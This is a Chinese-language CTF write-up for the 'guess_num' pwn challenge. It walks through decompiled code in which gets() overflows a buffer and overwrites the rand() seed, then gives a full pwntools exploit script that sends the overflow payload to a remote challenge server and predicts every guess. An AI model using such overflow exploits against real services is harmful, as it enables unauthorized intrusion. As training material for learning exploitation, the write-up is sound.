攻防世界-guess_num-Writeup

原创

SkYe231_ 于 2020-05-15 18:45:49 发布 326 收藏

guess_num

[collapse title="展开查看详情" status="false"]

考察点：利用栈溢出固定随机数

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v6; // [rsp+Ch] [rbp-34h]
  char v7; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v4 = 0;
  v6 = 0;
  *(_QWORD *)seed = sub_BB0();
  puts("--------------------------------");
  puts("Welcome to a guess number game!");
  puts("--------------------------------");
  puts("Please let me know your name!");
  printf("Your name:", 0LL);
  gets((__int64)&amp;v7);       //栈溢出
  srand(seed[0]);
  for ( i = 0; i &lt;= 9; ++i )                  // 连续正确10次
  {
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &amp;v4);
    puts("--------------------------------");
    if ( v4 != v6 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}
```

由于题目开启 Canary 不能直接控制 eip ，观察栈空间发现 v7 位于 seed 前面。

```
-000000000000003C var_3C          dd ?
-0000000000000038 var_38          dd ?
-0000000000000034 var_34          dd ?
-0000000000000030 v7              db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
      ……
      ……
-0000000000000010 seed            dd 2 dup(?)
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
```

随机数的随机性是基于 seed 种子，当固定 seed 时，实际上生成的是伪随机数，也就是一个固定的值。这道题几时利用 gets 造成栈溢出覆盖 seed 固定生成随机数，配合 ctypes 库实现 python、c 混合编程。

完整exp：

```python
#!usr/bin/python
#coding=utf-8
from pwn import *
from ctypes import *

context.log_level = ';debug';

p = remote("111.198.29.45",57280)
#p = process(';./b59204f56a0545e8a22f8518e749f19f';)


libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a" * 0x20 + p64(1)
p.recvuntil(';Your name:';)
p.sendline(payload)
libc.srand(1)

for _ in range(10):
 num = str(libc.rand()%6+1)
 p.recvuntil(';number:';)
 p.sendline(num)

p.interactive()
```

[/collapse]